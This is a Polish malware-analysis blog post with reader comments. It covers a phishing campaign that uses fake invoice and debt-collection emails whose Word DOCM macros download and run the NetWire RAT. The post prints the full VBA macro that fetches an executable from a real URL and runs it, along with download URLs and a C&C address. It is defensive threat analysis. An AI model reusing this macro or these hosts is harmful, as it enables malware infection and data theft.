Około tygodnia temu w skrzynkach Polaków zaczął pojawiać się nowy rodzaj ataków złośliwego oprogramowania. Choć używa kombinacji wcześniej znanych metod ataku, warto przyjrzeć się jego nietypowym szczegółom.
Autorem poniższej analizy jest nasz nowy współpracownik, miłośnik dziwnego, głównie polskiego złośliwego oprogramowania, Łukasz. Liczymy na to, że dzięki tej współpracy jakość naszych analiz nowych zagrożeń znacząco się poprawi. Oddajmy głos Łukaszowi.
Ciekawa kampania
Ostatnio do laboratorium Zaufanej Trzeciej Strony trafiła wiadomość e-mail, której załącznik zawierał złośliwy dokument programu Microsoft Word. Wiadomość o temacie FS-VAT, 30.12.2015 zawierała następującą treść:
W załączniku faktura z 3-dniowym terminem płatności. W trosce o poufność danych, hasło: grudzien \-- Andrzej Wójcik Elektro-Pol Ul. Kobielska 58 02-951 Warszawa
W załączniku znajdował się plik FV_30_12_2015.zip a w nim plik o nazwie FV_30_12_2015.docm. Pliki o rozszerzeniu DOCM są plikami dokumentów Microsoft Word 2007 ze wsparciem dla makr. Użycie tak niestandardowego rozszerzenia ma za zadanie ominąć proste i przeważnie i tak nieskuteczne filtry poczty, które implementują niektórzy administratorzy. Sprawdzają one rozszerzenia załączonych plików jak i rozszerzenia plików w załączonych skompresowanych archiwach. W przypadku gdy zostanie wykryte jedno ze zdefiniowanych, potencjalnie złych rozszerzeń e-mail jest oznaczony jako podejrzany. Warto zauważyć, że w przypadku szyfrowanych plików ZIP lista plików nie jest szyfrowana, więc takie filtry zadziałają normalnie.
Po otwarciu rozpakowanego pliku DOCM zobaczymy następujący dokument:
Jak widać, użytkownik jest zachęcany do włączenia obsługi makr aby zobaczyć konto na które należy przelać kwotę faktury. Co ciekawe, w dokumencie wymieniona jest stawka VAT 22%, która aktualnie nie istnieje w polskim systemie podatkowym. Po otwarciu dokumentu i włączeniu obsługi makr zostanie wykonana procedura “Document_Open”, która w tym przypadku wygląda następująco:
Private Sub Document_Open() 'MsgBox "This is fun" dupax End Sub
Okno dialogowe z napisem “This is fun” nie zostanie wyświetlone, gdyż linia ta zaczyna się od znaku komentarza (‘). Następnie wywołana jest funkcja o nazwie dupax (co, jak i inne wulgaryzmy w kodzie, może wskazywać na polskie pochodzenie atakującego). Funkcja ta ma za zadanie pobrać plik, zapisać go pod odpowiednią nazwą, a następnie uruchomić. Kod dupax jest przedstawiony poniżej.
Sub dupax() Dim URL As String URL = "http://odkurzaczekatowice.pl/wp-content/themes/luminus/admin/bootstrap/img/nw.exe" Dim WHERE As String WHERE = "C:\ProgramData\serverent.exe" Dim DownloadStatus DownloadStatus = URLDownloadToFile(0, URL, WHERE, 0, 0) Shell WHERE, vbNormalFocus End Sub
Obecność pliku “C:\ProgramData\serverent.exe” na naszym dysku może oznaczać infekcję tym złośliwym oprogramowaniem. Analiza pobranego pliku w serwisie VirusTotal znajduje się pod tym linkiem.
Po kilku dniach do naszego laboratorium trafiła kolejna wiadomość nosząca duże znamiona podobieństwa. 4 stycznia do skrzynek ofiar rozsyłana była wiadomość o temacie wezwanie do zaplacenia i treści
Drodzy Państwo, Ze względu na brak spłaty zadłużenia za energię elektryczną przesyłamy przedsądowe wezwanie do zapłaty. \-- Bogumila Janicka GetBack S.A Ul. Wołowska 8 50-442 Wrocław
Załączony plik wezwanie_windyk.docm zawierał podobny kod. Był to znowu plik DOCM (analiza na VirusTotal), tym razem pobierał plik z adresu URL
https://fewmoments.com/123wn.exe
Plik był pobierany do obecnego katalogu pod nazwą “serv.exe”, jednak jest to dokładnie to samo złośliwe oprogramowanie.
Z kolei 5 stycznia rozsyłana była wiadomość o temacie FV-rozliczeniowa i treści
W załączniku faktura z 3-dniowym terminem płatności. \-- Andrzej Tomaszek JWK-Miroszek Ul. Jasłowska 51 00-954 Warszawa
oraz załączniku FV_05_01_2015.zip (FV_05_01_2015.doc:).
Dalsza analiza próbek które do nas dotarły wskazała, że pierwszy ślad ataku noszącego znamiona istotnego podobieństwa pochodzi z 28 grudnia 2015, kiedy to w innej wiadomości rozsyłany był plik windykac_28_12_2015.pdf.scr, uruchamiający identyczne złośliwe oprogramowanie jak to rozsyłane w dwóch pozostałych kampaniach.
Co ciekawe, w makrach plików pochodzących z najnowszej kampanii znajduje się procedura dekodująca używająca ROT13. Nie jest aktualnie używana, ale być może jest to element, który zostanie wykorzystany w późniejszych wysyłkach. Jak widać, kampania jest wciąż aktywna i możemy się spodziewać, że jeszcze trochę potrwa. Interesujący jest także fakt, ze w przeciwieństwie do innych obserwowanych przez nas ataków, gdzie widujemy po 50-100 próbek dziennie, w tych kampaniach docierają do nas jedynie pojedyncze wysyłki. Sugeruje to, że jej autorzy stosują ograniczoną dystrybucję.
NetWire RAT i jego protektor
Pobrany plik to RAT (Remote Administration Tool) o nazwie NetWire. Stąd pewnie pochodzi nazwa pobieranego pliku – nw.exe. Po uruchomieniu złośliwe oprogramowanie kopiuje się do pliku C:\WINDOWS\xoudbpxxzzoufff.exe, dodaje się do autostartu systemu Windows (z nazwą “avast”) i jest ponownie uruchamiane. W kolejnym kroku uruchamia swoją kopię i rozpakowuje kod właściwego programu za pomocą techniki “process hollowing”. Technika “process hollowing” polega na uruchomieniu programu w trybie SUSPENDED, nadpisaniu kodu tego programu i przywróceniu jego działania. Właściwy, wykonywany kod różni się zatem od tego obecnego na dysku.
Rozpakowana wersja złośliwego oprogramowania jest już wykrywana przez 29/55 rozwiązań antywirusowych, a nie 4/53 jak wersja zaciemniona. Warto zwrócić uwagę na to, że większość rozwiązań antywirusowych działających w normalnych warunkach (tzn. na prawdziwym komputerze, a nie w serwisie VirusTotal) skanuje także pamięć programu podczas działania. Zatem pewnie wykrywalność rozpakowanej wersji jest bardziej bliska rzeczywistości.
Cały proces rozpakowywania jest wykonywany przez protektor o nazwie MadProtect, napisany przez osobę o pseudonimie “prick”. Protektor wykorzystuje również technikę zaciemniania kodu, która ma za zadanie utrudnić, a może bardziej uprzykrzyć, analizę złośliwego oprogramowania. Polega ona na wywołaniu bezsensownych funkcji (w tym przypadku pochodzącej z tej strony) oraz nadmiarowych instrukcji pustych (nop) i skoków nie zmieniających przebiegu programu. Poniżej widać przykład takich instrukcji. Na szczęście łatwo je odróżnić od innych, sensownych wywołań.
NetWire RAT jest publicznie dostępnym złośliwym oprogramowaniem. Licencję pozwalają na używanie go przez 6 miesięcy można kupić za 85 dolarów w jednym ze sklepów online. Warto zaznaczyć, że działa on na systemach Linuks, Windows lub Mac. Analizowana próbka posiada następujące możliwości:
- logowanie wciśniętych klawiszy (keylogger)
- zdalne wyświetlanie pulpitu
- kradzież haseł z m.in.: Firefox, Thunderbird, SeaMonkey, Opera, Pidgin, Internet Explorer, Chrome, Chromium czy MS Outlook
- wyświetlanie obrazu z kamery i dźwięku z mikrofonu
- kradzież plików
- wysyłanie podstawowych informacji o komputerze: lista zainstalowanych programów, informacje o używanym sprzęcie etc.
- pobranie i wykonanie pliku
- usunięcie się z systemu – realizowane przez stworzenie pliku bat z komendami usuwającymi malware
Analizowana próbka łączy się z serwerem C&C o adresie IP 213.152.161.69 na port TCP/3838 albo TCP/3837. Taka sama próbka była opakowana we wspomniany wcześniej plik o nazwie “windykac_28_12_2015.pdf.scr”, który po raz pierwszy zeskanowany został w serwisie VirusTotal 28 grudnia 2015 roku. Plik nw.exe był za to pierwszy raz zeskanowany 30 grudnia 2015 roku.
Wcześniejsze (?) złośliwe oprogramowanie
Adres IP serwera C&C – 213.152.161.69 – w listopadzie był przypisany do domeny pfo3a4lsg0.airdns.org, która we wrześniu rozwiązywała się na adres IP innego serwera C&C – 213.152.161.74. Oczywiście to może być zupełnie przypadkowe powiązanie, ale doprowadziło ono do ciekawej próbki złośliwego oprogramowania. Celem tego napisanego w języku .NET programu jest przeszukanie wszystkich plików i zlokalizowanie tych o rozszerzeniach DOC(X), XLS(X), PPT(X) lub PDF. Następnie lista plików jest wysyłana do serwera C&C. Definicje adresów serwerów C&C z badanej próbki znajdują się poniżej.
Po wysłaniu listy plików, wysyłane są kolejne pliki z tej listy. Proces skanowania i wysyłania nowych plików odbywa się co 5 minut. Program, oprócz tej podstawowej funkcji, potrafi również wykonać swoją aktualizację.
Złośliwe oprogramowanie również pobiera z serwera C&C bibliotekę DLL udostępniającą wygodny interfejs do tworzenia zadań systemowych w języku .NET. Następnie dodaje zadanie, które zapewnia, że będzie uruchamiany przy każdym logowaniu. W tej sposób zapewnia sobie dostęp do wszystkich przyszłych plików, które zainfekowany użytkownik stworzy.
Jak widać, pojawia się coraz więcej polskich cyberprzestepców. Przeważnie korzystają oni – jak w tym przypadku – z gotowych rozwiązań, ale zdarzają się też autorskie pomysły (jak np. Banatrix). Korzystają również z coraz nowszych metod unikania filtrów antyspamowych, zaciemnienia kodu czy w końcu tworząc bardzo skomplikowane, wiarygodne kampanie mailingowe.
Komentarze
Mentalnie poziom gimnazjum – zarówno u atakującego, jak i u ofiar.
Skoro program szuka plików DOC(X), XLS(X), PPT(X) lub PDF to celował bym bardziej w licealistów szukających matur.
A ja bardziej w wyłudzanie danych osobowych i danych wrażliwych. Proponuję zmienianie dokumentom chociaż nazw rozszerzeń, jeżeli już nie szyfrujecie i skojarzenie nietypowego rozszerzenia z dotychczasową aplikacją.
Diabełku, a co niby da szyfrowanie jak wirus szaleje na włączonym systemie – czytaj odszyfrowanych plikach?
Nie powiem za dużo konkretów, ale czasem to nie „poziom gimnazjum”, a nieświadomość konsekwencji i niefrasobliwość. Naprawiałem kompa od człowieka, który wiedział, że ma wirusy na kompie, nawet w wyniku ich działania dwa razy szedł składać wyjaśnienia na policję (lewe aukcje na allegro z jego kompa). Gość jest mądry, w miarę młody, nie jest wykluczony cyfrowo, kompy w miarę ogarnia. Może świadomość konsekwencji (np. okradzione konto) była, ale może też to jest jak z backupem – „w końcu go zrobię”, a potem jest płacz. Mimo wszystko doskonale wiem po klientach, że tutaj zachodzą bardziej skomplikowane procesy niż głupota czy niedojrzałość.
O! Przypomnieliście mi o Windows Update.
Pytanie laika – czy jeśli taki NetWire RAT potrafi zczytać hasła z Opery to przeszkodzi mu ustawienie w Operze głównego hasła do bazy haseł?
Nie wiem jak dokładnie to działa w przypadku Opery i NetWire RAT (gdyż nie używam Opery), ale ogólnie jeśli złośliwe oprogramowanie ma dostęp do komputera to nie jest problemem podsłuchanie wprowadzanego hasła. Zwłaszcza jeśli (jak w tym przypadku) malware ma funkcję keyloggera.
Mnie tam bardziej zastanawia to: „baza haseł”. Klikanie „zapamiętaj hasło” co ?! XD Wartościowe hasła powinny być przechowywane TYLKO w zabezpieczonej,zaszyfrowanej i niedostępnej formie. linuxowy ncrypt czy ccrypt (słabiutkie wiem,lepiej keepassx) to minimum minimów.
Przeglądarka nie powinna zapamiętywać haseł choćby dlatego,że to ułatwia potem ich wykradnięcie – a i dlatego,że jeśli ktoś dorwie się fizycznie do twojego komputera gdy będzie włączony to kap(l)ica.
Albo jak wyłączysz, a tu nagle wpadnie CIA przez okno, FBI przez drzwi, a NSA przez ścianę, zaczną pryskać po kompie sprężonym powietrzem, na Tobie użyją promienia śmierci i w ogóle, a potem z RAM odczytają, że czytałeś Z3S i skażą Cię pośmiertnie na karę śmierci. Bezpieczeństwo bezpieczeństwem, ale Twoje rozwiązania są i tak pozorami. W końcu jak ktoś ma dostęp do Twojego kompa, to jakie znaczenie ma jak bardzo bezpieczne są hasła? Kiedyś w końcu je wpiszesz, rozszyfrujesz itp. i będzie można je przechwycić.
Jeśli masz keepassx czy używasz jakiejkolwiek innej zaszyfrowanej formy trzymania haseł, to zauważ, że większość RATów jest wciąż w stanie wyciągnąć hasła. Po pierwsze keylogger zapisze i prześle do atakującego hasło, które wprowadzasz do keepassa. Po drugie, całą bazę keepassa, nawet z plikiem klucza, wciąż można zgrać, bo w pewnym momencie musi być dostępna z zainfekowanego komputera.
Jak zawsze się starałem przekazać klientom i użytkownikom: komputer zainfekowany złośliwym oprogramowaniem nie należy już do ciebie, tylko do atakującego.
Z jakich narzędzi korzystał autor tej analizy?
Jakie są darmowe odpowiedniki płatnych narzędzi wykorzystanych przez autora.
Prawie wszystkie narzędzia, z których korzystałem są darmowe, przynajmniej dla użytku niekomercyjnego. Są to:
* radare2 – http://radare.org
* Volatility – http://www.volatilityfoundation.org/
* Sysinternals Suite – https://technet.microsoft.com/pl-pl/sysinternals/bb842062
* dotPeek – https://www.jetbrains.com/decompiler/
* oletools – http://www.decalage.info/python/oletools
* grep, strings i podobne narzędzia Linuksowe
Jedyne niedarmowe narzędzie, z którego korzystałem i które nie ma niestety żadnej wersji darmowej to Microsoft Windows.
Legalną 30dniową wersje windowsa – od XP do Win10 – można pobrać jako obraz maszyny wirtualnej z modern.ie
Niektóre narzędzia NirSoft też mogą się przydać. Wszystkie freeware, wszystkie bardzo lekkie.
Nie używam opery. Jeżeli w trakcie używania przeglądarki nie trzeba go już wpisywać (jest odszyfrowane) to taka sama zasada jak z cryptodyskami – odczyta bez problemu.
Aha. Słowo Linux pisze się przez x, a nie ks pani(e) redaktorze.
To akurat zależy od kontekstu użycia. Konkretnie od przypadku w jakim słowo zostało użyte. W mianowniku – istotnie – Linux piszemy przez 'x’ na końcu. W pozostałych przypadkach (po odmianie), piszemy przez 'ks’. Takie są zasady, a czemu takie to nie wiem – nie ja to ustalałem :)
Pozwolisz, że wtrącę się na momencik. Rzecz do której się odnosisz jako Linux, to w gruncie rzeczy GNU/Linux lub jak ostatnio zacząłem to nazywać – GNU plus Linux. Sam Linux nie jest systemem operacyjnym, lecz kolejnym wolnym (od wolności) składnikiem w pełni funkcjonalnego systemu GNU, użytecznego dzięki głównym bibliotekom GNU, narzędziom powłoki oraz niezbędnym składnikom systemu, składającym się na kompletny system operacyjny, zdefiniowany przez POSIX (ang. Portable Operating System Interface for Unix – przenośny interfejs dla systemu operacyjnego Unix).
Wielu użytkowników komputera, nie zdając sobie z tego sprawy, codziennie używa zmodyfikowanej wersji systemu GNU. Poprzez dziwny zbieg okoliczności, wersja GNU używana na szeroką skalę, nazywana jest „Linux” i wielu jego użytkowników nie jest świadomych, że w rzeczy samej jest to system GNU rozwinięty przez GNU Project. Linux naprawdę istnieje i ci ludzie go używają, ale to jest tylko jeden ze składników systemu operacyjnego.
Linux to jądro – program w systemie operacyjnym, odpowiedzialny za przydzielanie zasobów sprzętowych do innych programów których używasz. Jądro jest niezbędną częścią systemu operacyjnego, ale samo jest bezużyteczne – może funkcjonować jedynie w odniesieniu do całego systemu operacyjnego. Linux jest zazwyczaj używany w połączeniu z systemem operacyjnym GNU – cały system to w zasadzie GNU z dodanym Linuxem, lub GNU/Linux. Wszystkie tak zwane dystrybucje „Linuxa” to w rzeczy samej dystrybucje GNU/Linux.
@rms (BTW, fajne inicjały:):
Softu fundacji GNU nie sposób przecenić, jednak z „linuksami” sprawa jest nieco bardziej złożona w praktyce i dla ścisłości należy dodać, że GNU+Linux to tylko – istotny wprawdzie – ale w praktyce zwykłego użytkownika tylko szczegół, którego być może nawet ów ZU nie dostrzega.
Bo „Linux” to zwykle konkretna dystrybucja (jedna z wielu – jest ich parę setek) i właśnie ta dystrybucja to jest właściwy system operacyjny (w którym są i kernel linux i narzędzia GNU).
I każda z tych dystrybucji (o ile nie jest to dokładny klon innej) jest trochę lub bardzo inna niż pozostałe „linuksy”.
Nie da się ukryć, że nawet obecny Debian (z systemd) i dawny (sytem V), to już są różne sytemy operacyjne, a co dopiero porównywać takiego np. Gentoo, Slackware, czy Ubuntu.
To jest może poza tematem, ale dla jasności moze warto o tym wspomnieć. A poza tym miałem sobie ochotę coś napisać.
Świetny artykuł, fajnie że w laboratorium Zaufanej Trzeciej Strony pojawił się w białym kiltu nowy analityk ;)
Tak, dzięki Niemu z3s będzie wreszcie najlepsze w temacie RE w ramieniu Oriona naszej galaktyki!
TEUFEL doczytaj jak juz sie czepiasz. W jezyku naszym jesli nazwe systemu Linux odmieniamy to forma odmieniona ma miec 'ks’
Nie jestem Polakiem, gdyż w mojej skrzynce nic takiego nie znalazłem. Zapytałem też kilku osób, ale oni także okazali się nie być Polakami. Może takie maile przychodzą tylko na konta Prawdziwych Polaków? To musi być grubsza sprawa.
Ostatnio tak bezpaństwowo poczułem się, gdy usłyszałem, że „Polacy wybrali na prezydenta…”.
Januszek bo ty jesteś bezpański kundelek głupolek :)
Może użycie rozszerzenia DOCM (plik Word że wsparciem makr) jednak nie jest próbą zmylenia skanerów, tylko… Standardowym rozszerzeniem pliku zawierającego makra, takiego jak ten? ;)
Mało tego jak nawalisz niepotrzebnego kodu oprócz tego odpowiedzialnego za uruchomienie pliku exe do dokumentu, a rozszerzenie pliku to .docm to mniej programów antywirusowych wykryje „exploita” niż przy rozszerzeniu .doc
Sam sprawdzałem.
Czy to jest standardowe działanie makr w wordzie? Da się za ich pomocą pobrać plik z internetu a następnie go wykonać, bez dodatkowej ingerencji użytkownika?
Standardowo obsługa makr jest wyłączona. Jeśli się ją włączy (jednorazowo albo na stałe) to plik zostanie pobrany i uruchomiony.
Fajny artykuł fir3 :D
Fire? Niech ktoś zlewy! :D
Dementujemy jakoby autorem był ten Łukasz.
Nie chciałbym siać zamieszania, ale NetWire RAT na Linuksie może mieć postawioną tylko część serwerową. Klient – czyli ta część którą dostaniemy jako bonus w mailu – może działać tylko na MS$. Pozdrawiam przy okzaji nowego analityka, i życzę mu wielu tak dobrych analiz jak ta, w nowym 2016 roku. Nie należy się przejmować i brać wszystkiego do siebie. Każdy kiedyś musi zacząć. Pozdrawiam, bf.
Nie on pierwszy, wielu twierdzi „działa też pod linuxem” tylko to nie mówi czy: a) Nie chodzi czasem o serwer b)wirus zaatakuje tylko jeśli go uruchomisz na koncie admina c)wirus zawiera exploita pozwalającego na eskalację uprawnień d)wirus działa z poziomu przeglądarki niezależnie od architektury e)inne rozwiązania których nie kojarzę w tej chwili
Poza tym oczywiście to ciekawa kwestia czy dany wirus egzystuje tylko w pamięci czy również na dysku (stosunkowo „nowy” mechanizm to podmianka aplikacji tylko w pamięci)
W sumie więc z wirusami pod linuxem kwestia jest zastanawiająca.
Fajnie byłoby,gdyby porządna separacja przeglądarki jak w QubesOs była domyślna i minimum tak łatwa do potencjalnego odpalenia jak vidalia tor-a,wtedy człowiek spałby w miarę spokojnie po weryfikacji sum kontrolnych – byle script kiddie miałby problem.
Natomiast w omawianym przypadku to atak zaczyna się od makrowirusa,więc oczywiście obsługa czegoś takiego w open office/libre office chyba jest tak samo kompatybilna jak obsługa doc/docx. No nawet chyba dużo „gorzej”,bo ja dotychczas nie znalazłem tam obsługi makr,może w nowszych wersjach jest ?
Mała poprawka w b: nie tyle „zaatakuje tylko na koncie admina” co „narobi poważnych szkód tylko uruchomiony na koncie admina (roota).
Wiadomo,ofiarą może paść konto użytkownika itd. Ale to jednak mniejsze straty i mniejsza korzyść napastnika.
Kto normalny przejmowałby się mailami z rzekomymi fakturami lub wezwaniami do zapłaty podpisanymi przez przypadkowe, z księżyca wzięte osoby/firmy, z którymi NIGDY nie miał żadnej styczności? Mail do kosza bez otwierania załącznika. A raczej wątpię, żeby atakujący byli na tyle sprytni, aby podpisywać maile nazwami firm, z którymi ofiary rzeczywiście utrzymywały jakieś kontakty, bo taki atak musiałby być kierowany do dokładnie określonego celu i musieliby sporo o atakowanych osobach wiedzieć, więc musieliby już wcześniej je np. podsłuchiwać albo coś.
A mnie zaciekawiło, dlaczego oni stosują zip’a (i przez to muszą kombinować z rozszerzeniami), zamiast użyć 7z lub rar’a (oba mają szyfrowanie listy plików).
Błąd widać już w 1. przykładzie: 02 to kod Mokotowa (w dawnych granicach, czyli z Ursynowem i Wilanowem), a Kobielska jest na Grochowie.
Witam
Znajomy wysłał mi wiadomośc na wp z załącznikiem zip po otwarciu którego posiadał dokument tekstowy zabezpieczony hasłem oczywiście którego nie znam.nie wiem po co mi wysłał taka wiadomość bo na to pytanie nie otrzymałam żadnej konkretnej odpowiedzi. Dodam że pracuje on w IT i jest bardzo dobry w tej dziedzinie.czy pomimo tego że nie otworzyłam dok. Tekstowego bo wymagał podania hasła mogłam już poprzez samo kliknięcie otrzymać w „prezencie”wirusa? Jak mogę to sprawdzić? Proszę o radę